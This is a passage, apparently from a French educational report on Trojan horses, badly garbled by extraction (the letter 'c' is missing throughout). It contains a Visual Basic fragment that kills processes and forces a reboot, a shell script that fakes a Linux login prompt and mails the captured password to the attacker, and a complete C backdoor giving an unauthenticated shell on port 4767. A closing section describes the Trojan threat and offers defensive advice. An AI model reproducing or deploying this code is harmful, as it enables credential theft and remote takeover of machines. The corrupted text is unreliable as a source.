 Const WM_CLOSE = &H10Dim hwnd As LongDim RetVal As Longhwnd = FindWindow(vbNullString, nom_du_pro
ess$)If hwnd <> 0 ThenRetVal = PostMessage(hwnd, WM_CLOSE, 0&, 0&)End If' Redémarre/logoff/éteint windowsPubli
 De
lare Fun
tion ExitWindowsEx Lib "user32"_(ByVal uFlags As Long, ByVal dwReserved As Long) As LongPubli
 Const EWX_FORCE = 4Publi
 Const EWX_LOGOFF = 0Publi
 Const EWX_REBOOT = 2Publi
 Const EWX_SHUTDOWN = 1Dim Exit_Code as IntegerExit_Code=EWX_REBOOTCall ExitWindowsEx(Exit_Code, 0)
16



7.2 Faux login sous LinuxLes systèmes d'exploitation unix/Linux ne sont pas totalement à l'abri des 
hevaux de Troie.Le s
ript suivant a�
he un é
ran de 
onnexion login/password, envoie les informations à l'adresseéle
tronique de la personne l'ayant lan
é, puis se termine. La vi
time pensera avoir fait une faute defrappe en voyant le message "Login in
orre
t" et se 
onne
tera à nouveau par le mé
anisme normal.#! /bin/sh
lear
at /et
/issuee
ho -n "login: "read logine
ho -n "Password: "stty -e
horead passwdstty sanemail $USER <<- finlogin : $loginpasswd : $passwdfine
hoe
ho "Login in
orre
t"sleep 1exit7.3 Ouverture de porte dérobée en CCe programme illustre le mé
anisme des pseudo-terminaux. Dès qu'il est exé
uté, il ouvre unserveur TCP/IP sur le port 4767 sur toutes les interfa
es réseau de la ma
hine. Toute 
onnexiondemandée sur 
e port a

èdera automatiquement à un shell sans au
une phase d'authenti�
ation.#define _GNU_SOURCE 500#in
lude <f
ntl.h>#in
lude <stdio.h>#in
lude <stdlib.h>#in
lude <termios.h>#in
lude <unistd.h>#in
lude <netinet/in.h>#in
lude <sys/so
ket.h>#define ADRESSE_BACKDOOR INADDR_ANY#define PORT_BACKDOOR 4767int main (void) {int so
k;int so
kopt; 17



stru
t so
kaddr_in adresse;so
klen_t longueur;int so
k2;int pty_maitre;int pty_es
lave;
har * nom_pty;stru
t termios termios;
har * args[2℄ = {"/bin/sh", NULL};fd_set set;
har buffer[4096℄;int n;so
k = so
ket(AF_INET, SOCK_STREAM, 0);so
kopt = 1;setso
kopt(so
k, SOL_SOCKET, SO_REUSEADDR, &so
kopt, sizeof(so
kopt));memset(&adresse, 0, sizeof(stru
t so
kaddr));adresse.sin_family = AF_INET;adresse.sin_addr.s_addr = htonl(ADRESSE_BACKDOOR);adresse.sin_port = htons(PORT_BACKDOOR);if (bind(so
k, (stru
t so
kaddr *) &adresse, sizeof(adresse)))exit(1);listen(so
k, 5);while(1) {longueur = sizeof(stru
t so
kaddr_in);if ((so
k2 = a

ept(so
k, &adresse, &longueur)) < 0)
ontinue;if (fork() == 0) break;
lose(so
k2);}
lose(so
k);if ((pty_maitre = getpt()) < 0) exit(1);grantpt(pty_maitre);unlo
kpt(pty_maitre);nom_pty = ptsname(pty_maitre);t
getattr(STDIN_FILENO, &termios);if (fork() == 0) {/* Fils : exe
ution d'un shell sur le pseudo-TTY es
lave */
lose(pty_maitre);setsid();pty_es
lave = open(nom_pty, O_RDWR);t
setattr(pty_es
lave, TCSANOW, &termios);dup2(pty_es
lave, STDIN_FILENO);dup2(pty_es
lave, STDOUT_FILENO);dup2(pty_es
lave, STDERR_FILENO);exe
v(args[0℄, args);exit(1); 18



}/* Pere : 
opie de la so
ket vers le pseudo-TTYmaitre et inversement */t
getattr(pty_maitre, &termios);
fmakeraw(&termios);t
setattr(pty_maitre, TCSANOW, &termios);while (1) {FD_ZERO(&set);FD_SET(so
k2, &set);FD_SET(pty_maitre, &set);if (sele
t(pty_maitre < so
k2 ? so
k2+1 : pty_maitre+1,&set, NULL, NULL, NULL) < 0)break;if (FD_ISSET(so
k2, &set)) {if ((n = read(so
k2, buffer, 4096)) < 0)break;write(pty_maitre, buffer, n);}if (FD_ISSET(pty_maitre, &set)) {if ((n = read(pty_maitre, buffer, 4096)) < 0)break;write(so
k2, buffer, n);}}return(0);}
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8 Con
lusionLes 
hevaux de Troie sont une mena
e sérieuse à laquelle 
haque utilisateur est 
onfronté. Ils re-présentent la majorité des logi
iels malveillants en 
ir
ulation et ont une grande diversité de manièresde nuire.Apparus à la �n des années 1990 
omme outils d'administration à distan
e développés par desutilisateurs amateurs voulant jouer des tours à leurs amis (bouger la souris ou les fenêtres), ils ontévolué en quelques années vers des outils beau
oup plus 
omplexes et professionnels de 
yber
ri-minalité. On les trouve aujourd'hui dans des domaines tels que le sabotage d'antivirus, l'envoi demillions d'emails spam que nous re
evons tous, le 
yber-
hantage ou la fraude banquaire, ou mêmedes attaque 
iblées 
ontre de grandes entreprises ou des gouvernements.Les motivations des auteurs de 
es 
hevaux de Troie sont prin
ipalement d'ordre lu
ratif, mais lasoif de pouvoir, de domination et d'anar
hie jouent aussi un r�le.Bien que les logi
iels antivirus et pare-feu bloquent la majorité des 
hevaux de Troie, de nom-breuses attaques ou intrusions restent possibles grâ
e à des failles dans des logi
iels ou dans lessystèmes d'exploitation. Il est don
 important que l'utilisateur fasse preuve de pruden
e, en mettantà jour régulièrement la sé
urité de sa ma
hine, en ar
hivant ses do
uments personnels, ou en évitantde télé
harger ou d'exé
uter des �
hiers infe
tés.
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